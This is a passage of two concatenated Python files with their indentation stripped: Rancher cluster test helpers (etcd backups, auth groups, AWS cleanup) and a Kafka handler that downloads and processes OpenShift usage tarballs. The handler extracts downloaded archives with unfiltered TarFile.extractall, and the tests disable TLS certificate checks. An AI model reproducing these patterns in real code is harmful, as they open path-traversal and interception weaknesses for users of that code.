etcdbackups = cluster.etcdBackups(name=backupname)
while len(etcdbackups) == 1:
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for backup to be deleted")
time.sleep(.5)
etcdbackups = cluster.etcdBackups(name=backupname)
def validate_backup_create(namespace, backup_info, backup_mode=None):
p_client = namespace["p_client"]
ns = namespace["ns"]
cluster = namespace["cluster"]
name = random_test_name("default")
if not hasattr(cluster, 'rancherKubernetesEngineConfig'):
assert False, "Cluster is not of type RKE"
con = [{"name": "test1",
"image": TEST_IMAGE}]
backup_info["workload"] = p_client.create_workload(name=name,
containers=con,
namespaceId=ns.id,
daemonSetConfig={})
validate_workload(p_client, backup_info["workload"], "daemonSet", ns.name,
len(get_schedulable_nodes(cluster)))
host = "test" + str(random_int(10000, 99999)) + ".com"
namespace["host"] = host
path = "/name.html"
rule = {"host": host,
"paths": [{"workloadIds": [backup_info["workload"].id],
"targetPort": "80"}]}
p_client.create_ingress(name=name,
namespaceId=ns.id,
rules=[rule])
validate_ingress(p_client, cluster, [backup_info["workload"]], host, path)
# Perform Backup
backup = cluster.backupEtcd()
backup_info["backupname"] = backup['metadata']['name']
wait_for_backup_to_active(cluster, backup_info["backupname"])
# Get all the backup info
etcdbackups = cluster.etcdBackups(name=backup_info["backupname"])
backup_info["etcdbackupdata"] = etcdbackups['data']
backup_info["backup_id"] = backup_info["etcdbackupdata"][0]['id']
if backup_mode == "s3":
backupfileurl = backup_info["etcdbackupdata"][0]['filename']
# Check the backup filename exists in S3
parseurl = urlparse(backupfileurl)
backup_info["backupfilename"] = os.path.basename(parseurl.path)
backup_found = AmazonWebServices().s3_backup_check(
backup_info["backupfilename"])
assert backup_found, "the backup was not found in the S3 bucket"
elif backup_mode == 'filesystem':
for node in namespace['nodes']:
if 'etcd' not in node.roles:
continue
get_filesystem_snapshots = 'ls /opt/rke/etcd-snapshots'
response = node.execute_command(get_filesystem_snapshots)[0]
assert backup_info["etcdbackupdata"][0]['filename'] in response, \
"The filename doesn't match any of the files locally"
return namespace, backup_info
def validate_backup_restore(namespace, backup_info):
p_client = namespace["p_client"]
ns = namespace["ns"]
client = get_user_client()
cluster = namespace["cluster"]
name = random_test_name("default")
host = namespace["host"]
path = "/name.html"
con = [{"name": "test1",
"image": TEST_IMAGE}]
# Create workload after backup
testworkload = p_client.create_workload(name=name,
containers=con,
namespaceId=ns.id)
validate_workload(p_client, testworkload, "deployment", ns.name)
# Perform Restore
cluster.restoreFromEtcdBackup(etcdBackupId=backup_info["backup_id"])
# After restore, validate cluster
validate_cluster(client, cluster, intermediate_state="updating",
check_intermediate_state=True,
skipIngresscheck=False)
# Verify the ingress created before taking the snapshot
validate_ingress(p_client, cluster, [backup_info["workload"]], host, path)
# Verify the workload created after getting a snapshot does not exist
# after restore
workload_list = p_client.list_workload(uuid=testworkload.uuid).data
print(len(workload_list))
assert len(workload_list) == 0, "workload shouldn't exist after restore"
return namespace, backup_info
def validate_backup_delete(namespace, backup_info, backup_mode=None):
client = get_user_client()
cluster = namespace["cluster"]
client.delete(
cluster.etcdBackups(name=backup_info["backupname"])['data'][0]
)
wait_for_backup_to_delete(cluster, backup_info["backupname"])
assert len(cluster.etcdBackups(name=backup_info["backupname"])) == 0, \
"backup shouldn't be listed in the Cluster backups"
if backup_mode == "s3":
# Check the backup reference is deleted in Rancher and S3
backup_found = AmazonWebServices().s3_backup_check(
backup_info["backupfilename"])
assert_message = "The backup should't exist in the S3 bucket"
assert backup_found is False, assert_message
elif backup_mode == 'filesystem':
for node in namespace['nodes']:
if 'etcd' not in node.roles:
continue
get_filesystem_snapshots = 'ls /opt/rke/etcd-snapshots'
response = node.execute_command(get_filesystem_snapshots)[0]
filename = backup_info["etcdbackupdata"][0]['filename']
assert filename not in response, \
"The file still exist in the filesystem"
def apply_crd(ns, file, kubectl_context):
return execute_kubectl_cmd('apply -f ' + file + ' -n ' + ns.name,
json_out=False, stderr=True,
kubeconfig=kubectl_context).decode("ascii")
def get_crd(ns, crd_name, kubectl_context):
return execute_kubectl_cmd('get ' + crd_name + ' -n ' + ns.name,
json_out=False, stderr=True,
kubeconfig=kubectl_context).decode("ascii")
def delete_crd(ns, file, kubectl_context):
return execute_kubectl_cmd('delete -f ' + file + ' -n ' + ns.name,
json_out=False, stderr=True,
kubeconfig=kubectl_context).decode("ascii")
def prepare_auth_data():
name = \
os.path.join(os.path.dirname(os.path.realpath(__file__)) + "/resource",
AUTH_PROVIDER.lower() + ".json")
with open(name) as reader:
auth_data = reader.read()
raw = json.loads(auth_data).get("nested_group_info")
nested_group["auth_info"] = raw.copy()
nested_group["users"] = raw.get("users")
raw.pop("users")
nested_group["group_dic"] = raw
nested_group["groups"] = raw.keys()
def is_nested():
""" check if the provided groups are nested groups,
return True if at least one of the groups contains other groups
"""
count = 0
for user, group in nested_group["group_dic"].items():
if len(group) == 0:
count += 1
if count < len(nested_group["group_dic"]):
return True
return False
def get_group(nested=False):
""" return a group or a nested group"""
if nested:
# return the name of a group that contains at least one other group
for item in nested_group["groups"]:
if len(nested_group["group_dic"].get(item).get("users")) == 0:
pass
sub_groups = nested_group["group_dic"].get(item).get("groups")
if len(sub_groups) == 0:
pass
for g in sub_groups:
if len(nested_group["group_dic"].get(g).get("users")) > 0:
return item
assert False, "cannot find any valid nested group"
else:
# return the name of a group that has at least one direct user
for group in nested_group["groups"]:
if len(nested_group["group_dic"].get(group).get("users")) > 0:
return group
assert False, "cannot find any valid non-nested group"
def get_user_by_group(group, nested=False):
""" return the list of uses in the group or nested group
if nested is False, return the direct users in the group;
otherwise, return all users including those from nested groups
"""
def get_user_in_nested_group(group, source):
if group == "":
return []
users = source["group_dic"].get(group).get("users")
for sub_group in source["group_dic"].get(group).get("groups"):
temp = get_user_in_nested_group(sub_group, source)
for user in temp:
if user not in users:
users.append(user)
return users
if nested:
users = get_user_in_nested_group(group, nested_group)
assert len(users) > 0, "no user in the group"
else:
users = nested_group["group_dic"].get(group).get("users")
assert users is not None, "no user in the group"
print("group: {}, users: {}".format(group, users))
return users
def get_a_group_and_a_user_not_in_it(nested=False):
""" return a group or a nested group and a user that is not in the group"""
all_users = nested_group["users"]
for group in nested_group["groups"]:
group_users = get_user_by_group(group, nested)
for user in all_users:
if user not in group_users:
print("group: {}, user not in it: {}".format(group, user))
return group, user
assert False, "cannot find a group and a user not in it"
def get_group_principal_id(group_name, token=ADMIN_TOKEN, expected_status=200):
""" get the group's principal id from the auth provider"""
headers = {'Authorization': 'Bearer ' + token}
r = requests.post(CATTLE_AUTH_PRINCIPAL_URL,
json={'name': group_name,
'principalType': 'group',
'responseType': 'json'},
verify=False, headers=headers)
assert r.status_code == expected_status
return r.json()['data'][0]["id"]
def login_as_auth_user(username, password, login_url=LOGIN_AS_AUTH_USER_URL):
""" login with the user account from the auth provider,
and return the user token"""
r = requests.post(login_url, json={
'username': username,
'password': password,
'responseType': 'json',
}, verify=False)
assert r.status_code in [200, 201]
return r.json()
def validate_service_discovery(workload, scale,
p_client=None, ns=None, testclient_pods=None):
expected_ips = []
pods = p_client.list_pod(workloadId=workload["id"]).data
assert len(pods) == scale
for pod in pods:
expected_ips.append(pod["status"]["podIp"])
host = '{0}.{1}.svc.cluster.local'.format(workload.name, ns.id)
for pod in testclient_pods:
validate_dns_entry(pod, host, expected_ips)
def auth_get_project():
return auth_rbac_data["project"]
def auth_get_namespace():
return auth_rbac_data["namespace"]
def auth_get_user_token(username):
if username in auth_rbac_data["users"].keys():
return auth_rbac_data["users"][username].token
return None
def add_role_to_user(user, role):
"""this function adds a user from the auth provider to given cluster"""
admin_client, cluster = get_global_admin_client_and_cluster()
project = auth_get_project()
ns = auth_get_namespace()
if not (project and ns):
project, ns = create_project_and_ns(ADMIN_TOKEN, cluster,
random_test_name("p-test-auth"))
auth_rbac_data["project"] = project
auth_rbac_data["namespace"] = ns
if role in [PROJECT_OWNER, PROJECT_MEMBER, PROJECT_READ_ONLY]:
assign_members_to_project(admin_client, user, project, role)
else:
assign_members_to_cluster(admin_client, user, cluster, role)
auth_rbac_data["users"][user.username] = user
def auth_resource_cleanup():
""" remove the project and namespace created for the AUTH tests"""
client, cluster = get_global_admin_client_and_cluster()
client.delete(auth_rbac_data["project"])
auth_rbac_data["project"] = None
auth_rbac_data["ns"] = None
for username, user in auth_rbac_data["users"].items():
user_crtbs = client.list_cluster_role_template_binding(userId=user.id)
for crtb in user_crtbs:
client.delete(crtb)
class WebsocketLogParse:
"""
the class is used for receiving and parsing the message
received from the websocket
"""
def __init__(self):
self.lock = Lock()
self._last_message = ''
def receiver(self, socket, skip):
"""
run a thread to receive and save the message from the web socket
:param socket: the socket connection
:param skip: if True skip the first char of the received message
"""
while True and socket.connected:
try:
data = socket.recv()
# the message from the kubectl contains an extra char
if skip:
data = data[1:]
if len(data) < 5:
pass
data = base64.b64decode(data).decode()
self.lock.acquire()
self._last_message += data
self.lock.release()
except websocket.WebSocketConnectionClosedException:
print("Connection closed")
break
except websocket.WebSocketProtocolException as wpe:
print("Error: {}".format(wpe))
break
@staticmethod
def start_thread(target, args):
thread = Thread(target=target, args=args)
thread.daemon = True
thread.start()
time.sleep(1)
@property
def last_message(self):
return self._last_message
@last_message.setter
def last_message(self, value):
self.lock.acquire()
self._last_message = value
self.lock.release()
def wait_for_cluster_delete(client, cluster_name, timeout=DEFAULT_TIMEOUT):
start = time.time()
cluster = client.list_cluster(name=cluster_name).data
cluster_count = len(cluster)
while cluster_count != 0:
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for cluster to get deleted")
time.sleep(.5)
cluster = client.list_cluster(name=cluster_name).data
cluster_count = len(cluster)
def create_connection(url, subprotocols):
"""
create a webscoket connection and check if it is connected
:param url: the url to connect to
:param subprotocols: the list of subprotocols
:return:
"""
ws = websocket.create_connection(
url=url,
sslopt={"cert_reqs": ssl.CERT_NONE},
subprotocols=subprotocols,
timeout=10,
cookie="R_SESS=" + USER_TOKEN
)
assert ws.connected, "failed to build the websocket"
return ws
def wait_for_hpa_to_active(client, hpa, timeout=DEFAULT_TIMEOUT):
start = time.time()
hpalist = client.list_horizontalPodAutoscaler(uuid=hpa.uuid).data
assert len(hpalist) == 1
hpa = hpalist[0]
while hpa.state != "active":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
hpas = client.list_horizontalPodAutoscaler(uuid=hpa.uuid).data
assert len(hpas) == 1
hpa = hpas[0]
return hpa
def create_pv_pvc(client, ns, nfs_ip, cluster_client):
pv_object = create_pv(cluster_client, nfs_ip)
pvc_name = random_test_name("pvc")
pvc_config = {"accessModes": ["ReadWriteOnce"],
"name": pvc_name,
"volumeId": pv_object.id,
"namespaceId": ns.id,
"storageClassId": "",
"resources": {"requests": {"storage": "10Gi"}}
}
pvc_object = client.create_persistent_volume_claim(pvc_config)
pvc_object = wait_for_pvc_to_be_bound(client, pvc_object, timeout=300)
return pv_object, pvc_object
def create_pv(client, nfs_ip):
pv_name = random_test_name("pv")
pv_config = {"type": "persistentVolume",
"accessModes": ["ReadWriteOnce"],
"name": pv_name,
"nfs": {"readOnly": "false",
"type": "nfsvolumesource",
"path": NFS_SERVER_MOUNT_PATH,
"server": nfs_ip
},
"capacity": {"storage": "50Gi"}
}
pv_object = client.create_persistent_volume(pv_config)
capacitydict = pv_object['capacity']
assert capacitydict['storage'] == '50Gi'
assert pv_object['type'] == 'persistentVolume'
return pv_object
def delete_resource_in_AWS_by_prefix(resource_prefix):
"""
:param resource_prefix: the prefix of resource name
:return: None
"""
# delete nodes of both local and custom clusters
node_filter = [{
'Name': 'tag:Name',
'Values': [resource_prefix + "-*"]
}]
nodes = AmazonWebServices().get_nodes(filters=node_filter)
if nodes is None:
print("deleting the following instances: None")
else:
print("deleting the following instances: {}"
.format([node.public_ip_address for node in nodes]))
AmazonWebServices().delete_nodes(nodes)
# delete load balancer and target groups
tg_list = []
lb_list = []
lb_names = [resource_prefix + '-nlb',
resource_prefix + '-multinode-nlb',
resource_prefix + '-k3s-nlb']
for name in lb_names:
lb_arn = AmazonWebServices().get_lb(name)
if lb_arn is not None:
lb_list.append(lb_arn)
res = AmazonWebServices().get_target_groups(lb_arn)
tg_list.extend(res)
print("deleting the following load balancers: {}".format(lb_list))
print("deleting the following target groups: {}".format(tg_list))
for lb in lb_list:
AmazonWebServices().delete_lb(lb)
for tg in tg_list:
AmazonWebServices().delete_target_group(tg)
# delete rds
db_name = resource_prefix + "-multinode-db"
print("deleting the database: {}".format(db_name))
AmazonWebServices().delete_db(db_name)
# delete the route 53 record
record_name = resource_prefix + ".qa.rancher.space."
print("deleting the route53 record: {}".format(record_name))
AmazonWebServices().delete_route_53_record(record_name)
print("deletion is done")
return None
def configure_cis_requirements(aws_nodes, profile, node_roles, client,
cluster):
i = 0
if profile == 'rke-cis-1.4':
for aws_node in aws_nodes:
aws_node.execute_command("sudo sysctl -w vm.overcommit_memory=1")
aws_node.execute_command("sudo sysctl -w kernel.panic=10")
aws_node.execute_command("sudo sysctl -w kernel.panic_on_oops=1")
if node_roles[i] == ["etcd"]:
aws_node.execute_command("sudo useradd etcd")
docker_run_cmd = \
get_custom_host_registration_cmd(client,
cluster,
node_roles[i],
aws_node)
aws_node.execute_command(docker_run_cmd)
i += 1
elif profile == 'rke-cis-1.5':
for aws_node in aws_nodes:
aws_node.execute_command("sudo sysctl -w vm.overcommit_memory=1")
aws_node.execute_command("sudo sysctl -w kernel.panic=10")
aws_node.execute_command("sudo sysctl -w vm.panic_on_oom=0")
aws_node.execute_command("sudo sysctl -w kernel.panic_on_oops=1")
aws_node.execute_command("sudo sysctl -w "
"kernel.keys.root_maxbytes=25000000")
if node_roles[i] == ["etcd"]:
aws_node.execute_command("sudo groupadd -g 52034 etcd")
aws_node.execute_command("sudo useradd -u 52034 -g 52034 etcd")
docker_run_cmd = \
get_custom_host_registration_cmd(client,
cluster,
node_roles[i],
aws_node)
aws_node.execute_command(docker_run_cmd)
i += 1
time.sleep(5)
cluster = validate_cluster_state(client, cluster)
# the workloads under System project to get active
time.sleep(20)
if profile == 'rke-cis-1.5':
create_kubeconfig(cluster)
network_policy_file = DATA_SUBDIR + "/default-allow-all.yaml"
items = execute_kubectl_cmd("get namespaces -A")["items"]
all_ns = [item["metadata"]["name"] for item in items]
for ns in all_ns:
execute_kubectl_cmd("apply -f {0} -n {1}".
format(network_policy_file, ns))
return cluster
def get_node_details(cluster, client):
"""
lists the nodes from the cluster. This cluster has only 1 node.
:return: client and node object
"""
create_kubeconfig(cluster)
nodes = client.list_node(clusterId=cluster.id).data
assert len(nodes) > 0
for node in nodes:
if node.worker:
break
return client, node
|
kafka_msg_handler.py
|
#
# Copyright 2021 Red Hat Inc.
# SPDX-License-Identifier: Apache-2.0
#
"""Kafka message handler."""
import itertools
import json
import logging
import os
import re
import shutil
import tempfile
import threading
import time
import traceback
from tarfile import ReadError
from tarfile import TarFile
import requests
from confluent_kafka import Consumer
from confluent_kafka import Producer
from confluent_kafka import TopicPartition
from django.db import connections
from django.db import DEFAULT_DB_ALIAS
from django.db import InterfaceError
from django.db import OperationalError
from kombu.exceptions import OperationalError as RabbitOperationalError
from api.common import log_json
from kafka_utils.utils import is_kafka_connected
from masu.config import Config
from masu.database.report_manifest_db_accessor import ReportManifestDBAccessor
from masu.external import UNCOMPRESSED
from masu.external.accounts_accessor import AccountsAccessor
from masu.external.accounts_accessor import AccountsAccessorError
from masu.external.downloader.ocp.ocp_report_downloader import create_daily_archives
from masu.external.downloader.ocp.ocp_report_downloader import OCPReportDownloader
from masu.processor._tasks.process import _process_report_file
from masu.processor.report_processor import ReportProcessorDBError
from masu.processor.report_processor import ReportProcessorError
from masu.processor.tasks import OCP_QUEUE
from masu.processor.tasks import record_all_manifest_files
from masu.processor.tasks import record_report_status
from masu.processor.tasks import summarize_reports
from masu.prometheus_stats import KAFKA_CONNECTION_ERRORS_COUNTER
from masu.util.ocp import common as utils
LOG = logging.getLogger(__name__)
SUCCESS_CONFIRM_STATUS = "success"
FAILURE_CONFIRM_STATUS = "failure"
class KafkaMsgHandlerError(Exception):
"""Kafka msg handler error."""
def close_and_set_db_connection(): # pragma: no cover
"""Close the db connection and set to None."""
if connections[DEFAULT_DB_ALIAS].connection:
connections[DEFAULT_DB_ALIAS].connection.close()
connections[DEFAULT_DB_ALIAS].connection = None
def delivery_callback(err, msg):
"""Acknowledge message success or failure."""
if err is not None:
LOG.error(f"Failed to deliver message: {msg}: {err}")
else:
LOG.info("Validation message delivered.")
def create_manifest_entries(report_meta, request_id, context={}):
"""
Creates manifest database entries for report processing tracking.
Args:
report_meta (dict): Report context dictionary from extract_payload.
request_id (String): Identifier associated with the payload
context (Dict): Context for logging (account, etc)
Returns:
manifest_id (Integer): Manifest identifier of the created db entry.
"""
downloader = OCPReportDownloader(
report_meta.get("schema_name"),
report_meta.get("cluster_id"),
None,
provider_uuid=report_meta.get("provider_uuid"),
request_id=request_id,
account=context.get("account", "no_account"),
)
return downloader._prepare_db_manifest_record(report_meta)
def get_account_from_cluster_id(cluster_id, manifest_uuid, context={}):
"""
Returns the provider details for a given OCP cluster id.
Args:
cluster_id (String): Cluster UUID.
manifest_uuid (String): Identifier associated with the payload manifest
context (Dict): Context for logging (account, etc)
Returns:
(dict) - keys: value
authentication: String,
customer_name: String,
billing_source: String,
provider_type: String,
schema_name: String,
provider_uuid: String
"""
account = None
provider_uuid = utils.get_provider_uuid_from_cluster_id(cluster_id)
if provider_uuid:
msg = f"Found provider_uuid: {str(provider_uuid)} for cluster_id: {str(cluster_id)}"
LOG.info(log_json(manifest_uuid, msg, context))
if context:
context["provider_uuid"] = provider_uuid
account = get_account(provider_uuid, manifest_uuid, context)
return account
def download_payload(request_id, url, context={}):
"""
Download the payload from ingress to temporary location.
Args:
request_id (String): Identifier associated with the payload
url (String): URL path to payload in the Insights upload service..
context (Dict): Context for logging (account, etc)
Returns:
Tuple: temp_dir (String), temp_file (String)
"""
# Create temporary directory for initial file staging and verification in the
# OpenShift PVC directory so that any failures can be triaged in the event
# the pod goes down.
os.makedirs(Config.PVC_DIR, exist_ok=True)
temp_dir = tempfile.mkdtemp(dir=Config.PVC_DIR)
# Download file from quarantine bucket as tar.gz
try:
download_response = requests.get(url)
download_response.raise_for_status()
except requests.exceptions.HTTPError as err:
shutil.rmtree(temp_dir)
msg = f"Unable to download file. Error: {str(err)}"
LOG.warning(log_json(request_id, msg))
raise KafkaMsgHandlerError(msg)
sanitized_request_id = re.sub("[^A-Za-z0-9]+", "", request_id)
gzip_filename = f"{sanitized_request_id}.tar.gz"
temp_file = f"{temp_dir}/{gzip_filename}"
try:
temp_file_hdl = open(temp_file, "wb")
temp_file_hdl.write(download_response.content)
temp_file_hdl.close()
except (OSError, IOError) as error:
shutil.rmtree(temp_dir)
msg = f"Unable to write file. Error: {str(error)}"
LOG.warning(log_json(request_id, msg, context))
raise KafkaMsgHandlerError(msg)
return (temp_dir, temp_file, gzip_filename)
def extract_payload_contents(request_id, out_dir, tarball_path, tarball, context={}):
"""
Extract the payload contents into a temporary location.
Args:
request_id (String): Identifier associated with the payload
out_dir (String): temporary directory to extract data to
tarball_path (String): the path to the payload file to extract
tarball (String): the payload file to extract
context (Dict): Context for logging (account, etc)
Returns:
(String): path to manifest file
"""
# Extract tarball into temp directory
if not os.path.isfile(tarball_path):
msg = f"Unable to find tar file {tarball_path}."
LOG.warning(log_json(request_id, msg, context))
raise KafkaMsgHandlerError("Extraction failure, file not found.")
try:
mytar = TarFile.open(tarball_path, mode="r:gz")
mytar.extractall(path=out_dir)
files = mytar.getnames()
manifest_path = [manifest for manifest in files if "manifest.json" in manifest]
except (ReadError, EOFError, OSError) as error:
msg = f"Unable to untar file {tarball_path}. Reason: {str(error)}"
LOG.warning(log_json(request_id, msg, context))
shutil.rmtree(out_dir)
raise KafkaMsgHandlerError("Extraction failure.")
if not manifest_path:
msg = "No manifest found in payload."
LOG.warning(log_json(request_id, msg, context))
raise KafkaMsgHandlerError("No manifest found in payload.")
return manifest_path
def construct_parquet_reports(request_id, context, report_meta, payload_destination_path, report_file):
"""Build, upload and convert parquet reports."""
daily_parquet_files = create_daily_archives(
request_id,
report_meta["account"],
report_meta["provider_uuid"],
report_file,
payload_destination_path,
report_meta["manifest_id"],
report_meta["date"],
context,
)
return daily_parquet_files
# pylint: disable=too-many-locals
def extract_payload(url, request_id, context={}): # noqa: C901
"""
Extract OCP usage report payload into local directory structure.
Payload is expected to be a .tar.gz file that contains:
1. manifest.json - dictionary containing usage report details needed
for report processing.
Dictionary Contains:
files - names of .csv usage reports for the manifest
date - DateTime that the payload was created
uuid - uuid for payload
cluster_id - OCP cluster ID.
2. *.csv - Actual usage report for the cluster. Format is:
Format is: <uuid>_report_name.csv
On successful completion the report and manifest will be in a directory
structure that the OCPReportDownloader is expecting.
Ex: /var/tmp/insights_local/my-ocp-cluster-1/20181001-20181101
Once the files are extracted:
1. Provider account is retrieved for the cluster id. If no account is found we return.
2. Manifest database record is created which will establish the assembly_id and number of files
3. Report stats database record is created and is used as a filter to determine if the file
has already been processed.
4. All report files that have not been processed will have the local path to that report file
added to the report_meta context dictionary for that file.
5. Report file context dictionaries that require processing is added to a list which will be
passed to the report processor. All context from report_meta is used by the processor.
Args:
url (String): URL path to payload in the Insights upload service..
request_id (String): Identifier associated with the payload
context (Dict): Context for logging (account, etc)
Returns:
[dict]: keys: value
files: [String],
date: DateTime,
cluster_id: String
manifest_path: String,
provider_uuid: String,
provider_type: String
schema_name: String
manifest_id: Integer
current_file: String
"""
temp_dir, temp_file_path, temp_file = download_payload(request_id, url, context)
manifest_path = extract_payload_contents(request_id, temp_dir, temp_file_path, temp_file, context)
# Open manifest.json file and build the payload dictionary.
full_manifest_path = f"{temp_dir}/{manifest_path[0]}"
report_meta = utils.get_report_details(os.path.dirname(full_manifest_path))
# Filter and get account from payload's cluster-id
cluster_id = report_meta.get("cluster_id")
manifest_uuid = report_meta.get("uuid", request_id)
LOG.info(
log_json(
request_id,
f"Payload with the request id {request_id} from cluster {cluster_id}"
+ f" is part of the report with manifest id {manifest_uuid}",
)
)
if context:
context["cluster_id"] = cluster_id
account = get_account_from_cluster_id(cluster_id, manifest_uuid, context)
if not account:
msg = f"Recieved unexpected OCP report from {cluster_id}"
LOG.warning(log_json(manifest_uuid, msg, context))
shutil.rmtree(temp_dir)
return None, manifest_uuid
schema_name = account.get("schema_name")
provider_type = account.get("provider_type")
context["account"] = schema_name[4:]
context["provider_type"] = provider_type
report_meta["provider_uuid"] = account.get("provider_uuid")
report_meta["provider_type"] = provider_type
report_meta["schema_name"] = schema_name
report_meta["account"] = schema_name[4:]
report_meta["request_id"] = request_id
report_meta["tracing_id"] = manifest_uuid
# Create directory tree for report.
usage_month = utils.month_date_range(report_meta.get("date"))
destination_dir = f"{Config.INSIGHTS_LOCAL_REPORT_DIR}/{report_meta.get('cluster_id')}/{usage_month}"
os.makedirs(destination_dir, exist_ok=True)
# Copy manifest
manifest_destination_path = f"{destination_dir}/{os.path.basename(report_meta.get('manifest_path'))}"
shutil.copy(report_meta.get("manifest_path"), manifest_destination_path)
# Save Manifest
report_meta["manifest_id"] = create_manifest_entries(report_meta, request_id, context)
# Copy report payload
report_metas = []
for report_file in report_meta.get("files"):
current_meta = report_meta.copy()
subdirectory = os.path.dirname(full_manifest_path)
payload_source_path = f"{subdirectory}/{report_file}"
payload_destination_path = f"{destination_dir}/{report_file}"
try:
shutil.copy(payload_source_path, payload_destination_path)
current_meta["current_file"] = payload_destination_path
record_all_manifest_files(report_meta["manifest_id"], report_meta.get("files"), manifest_uuid)
if not record_report_status(report_meta["manifest_id"], report_file, manifest_uuid, context):
msg = f"Successfully extracted OCP for {report_meta.get('cluster_id')}/{usage_month}"
LOG.info(log_json(manifest_uuid, msg, context))
construct_parquet_reports(request_id, context, report_meta, payload_destination_path, report_file)
report_metas.append(current_meta)
else:
# Report already processed
pass
except FileNotFoundError:
msg = f"File {str(report_file)} has not downloaded yet."
LOG.debug(log_json(manifest_uuid, msg, context))
# Remove temporary directory and files
shutil.rmtree(temp_dir)
return report_metas, manifest_uuid
@KAFKA_CONNECTION_ERRORS_COUNTER.count_exceptions()
def send_confirmation(request_id, status): # pragma: no cover
"""
Send kafka validation message to Insights Upload service.
When a new file lands for topic 'hccm' we must validate it
so that it will be made permanently available to other
apps listening on the 'platform.upload.available' topic.
Args:
request_id (String): Request ID for file being confirmed.
status (String): Either 'success' or 'failure'
Returns:
None
"""
producer = get_producer()
validation = {"request_id": request_id, "validation": status}
msg = bytes(json.dumps(validation), "utf-8")
producer.produce(Config.VALIDATION_TOPIC, value=msg, callback=delivery_callback)
# Wait up to 1 second for events. Callbacks will be invoked during
# this method call if the message is acknowledged.
# `flush` makes this process synchronous compared to async with `poll`
producer.flush(1)
def handle_message(msg):
"""
Handle messages from message pending queue.
Handle's messages with topics: 'platform.upload.hccm',
and 'platform.upload.available'.
The OCP cost usage payload will land on topic hccm.
These messages will be extracted into the local report
directory structure. Once the file has been verified
(successfully extracted) we will report the status to
the Insights Upload Service so the file can be made available
to other apps on the service.
Messages on the available topic are messages that have
been verified by an app on the Insights upload service.
For now we are just logging the URL for demonstration purposes.
In the future if we want to maintain a URL to our report files
in the upload service we could look for hashes for files that
we have previously validated on the hccm topic.
Args:
msg - Upload Service message containing usage payload information.
Returns:
(String, [dict]) - String: Upload Service confirmation status
[dict]: keys: value
files: [String],
date: DateTime,
cluster_id: String
manifest_path: String,
provider_uuid: String,
provider_type: String
schema_name: String
manifest_id: Integer
current_file: String
"""
if msg.topic() == Config.HCCM_TOPIC:
value = json.loads(msg.value().decode("utf-8"))
request_id = value.get("request_id", "no_request_id")
account = value.get("account", "no_account")
context = {"account": account}
try:
msg = f"Extracting Payload for msg: {str(value)}"
LOG.info(log_json(request_id, msg, context))
report_metas, manifest_uuid = extract_payload(value["url"], request_id, context)
return SUCCESS_CONFIRM_STATUS, report_metas, manifest_uuid
except (OperationalError, InterfaceError) as error:
close_and_set_db_connection()
msg = f"Unable to extract payload, db closed. {type(error).__name__}: {error}"
LOG.error(log_json(request_id, msg, context))
raise KafkaMsgHandlerError(msg)
except Exception as error: # noqa
traceback.print_exc()
msg = f"Unable to extract payload. Error: {type(error).__name__}: {error}"
LOG.warning(log_json(request_id, msg, context))
return FAILURE_CONFIRM_STATUS, None, None
else:
LOG.error("Unexpected Message")
return None, None, None
def get_account(provider_uuid, manifest_uuid, context={}):
"""
Retrieve a provider's account configuration needed for processing.
Args:
provider_uuid (String): Provider unique identifier.
manifest_uuid (String): Identifier associated with the payload manifest
context (Dict): Context for logging (account, etc)
Returns:
(dict) - keys: value
authentication: String,
customer_name: String,
billing_source: String,
provider_type: String,
schema_name: String,
provider_uuid: String
"""
all_accounts = []
try:
all_accounts = AccountsAccessor().get_accounts(provider_uuid)
except AccountsAccessorError as error:
msg = f"Unable to get accounts. Error: {str(error)}"
LOG.warning(log_json(manifest_uuid, msg, context))
return None
return all_accounts.pop() if all_accounts else None
def summarize_manifest(report_meta, manifest_uuid):
"""
Kick off manifest summary when all report files have completed line item processing.
Args:
manifest_uuid (string) - The id associated with the payload manifest
report (Dict) - keys: value
schema_name: String,
manifest_id: Integer,
provider_uuid: String,
provider_type: String,
Returns:
Celery Async UUID.
"""
async_id = None
schema_name = report_meta.get("schema_name")
manifest_id = report_meta.get("manifest_id")
provider_uuid = report_meta.get("provider_uuid")
schema_name = report_meta.get("schema_name")
provider_type = report_meta.get("provider_type")
start_date = report_meta.get("start")
end_date = report_meta.get("end")
with ReportManifestDBAccessor() as manifest_accesor:
if manifest_accesor.manifest_ready_for_summary(manifest_id):
report_meta = {
"schema_name": schema_name,
"provider_type": provider_type,
"provider_uuid": provider_uuid,
"manifest_id": manifest_id,
}
if start_date and end_date:
LOG.info(
log_json(
manifest_uuid,
f"Summarizing OCP reports from {str(start_date)}-{str(end_date)} for provider: {provider_uuid}",
)
)
report_meta["start"] = start_date
report_meta["end"] = end_date
report_meta["manifest_uuid"] = manifest_uuid
async_id = summarize_reports.s([report_meta], OCP_QUEUE).apply_async(queue=OCP_QUEUE)
return async_id
def process_report(request_id, report):
"""
Process line item report.
Returns True when line item processing is complete. This is important because
the listen_for_messages -> process_messages path must have a positive acknowledgement
that line item processing is complete before committing.
If the service goes down in the middle of processing (SIGTERM) we do not want a
stray kafka commit to prematurely commit the message before processing has been
complete.
Args:
request_id (Str): The request id
report (Dict) - keys: value
request_id: String,
account: String,
schema_name: String,
manifest_id: Integer,
provider_uuid: String,
provider_type: String,
current_file: String,
date: DateTime
Returns:
True if line item report processing is complete.
"""
schema_name = report.get("schema_name")
manifest_id = report.get("manifest_id")
provider_uuid = str(report.get("provider_uuid"))
provider_type = report.get("provider_type")
date = report.get("date")
# The create_table flag is used by the ParquetReportProcessor
# to create a Hive/Trino table.
report_dict = {
"file": report.get("current_file"),
"compression": UNCOMPRESSED,
"manifest_id": manifest_id,
"provider_uuid": provider_uuid,
"request_id": request_id,
"tracing_id": report.get("tracing_id"),
"provider_type": "OCP",
"start_date": date,
"create_table": True,
}
try:
return _process_report_file(schema_name, provider_type, report_dict)
except NotImplementedError as err:
LOG.info(f"NotImplementedError: {str(err)}")
return True
def report_metas_complete(report_metas):
"""
Verify if all reports from the ingress payload have been processed.
in process_messages, a dictionary value "process_complete" is added to the
report metadata dictionary for a report file. This must be True for it to be
considered processed.
Args:
report_metas (list) - List of report metadata dictionaries needed for line item
processing.
Returns:
True if all report files for the payload have completed line item processing.
"""
process_complete = False
for report_meta in report_metas:
if not report_meta.get("process_complete"):
process_complete = False
break
else:
process_complete = True
return process_complete
def process_messages(msg):
"""
Process messages and send validation status.
Processing involves:
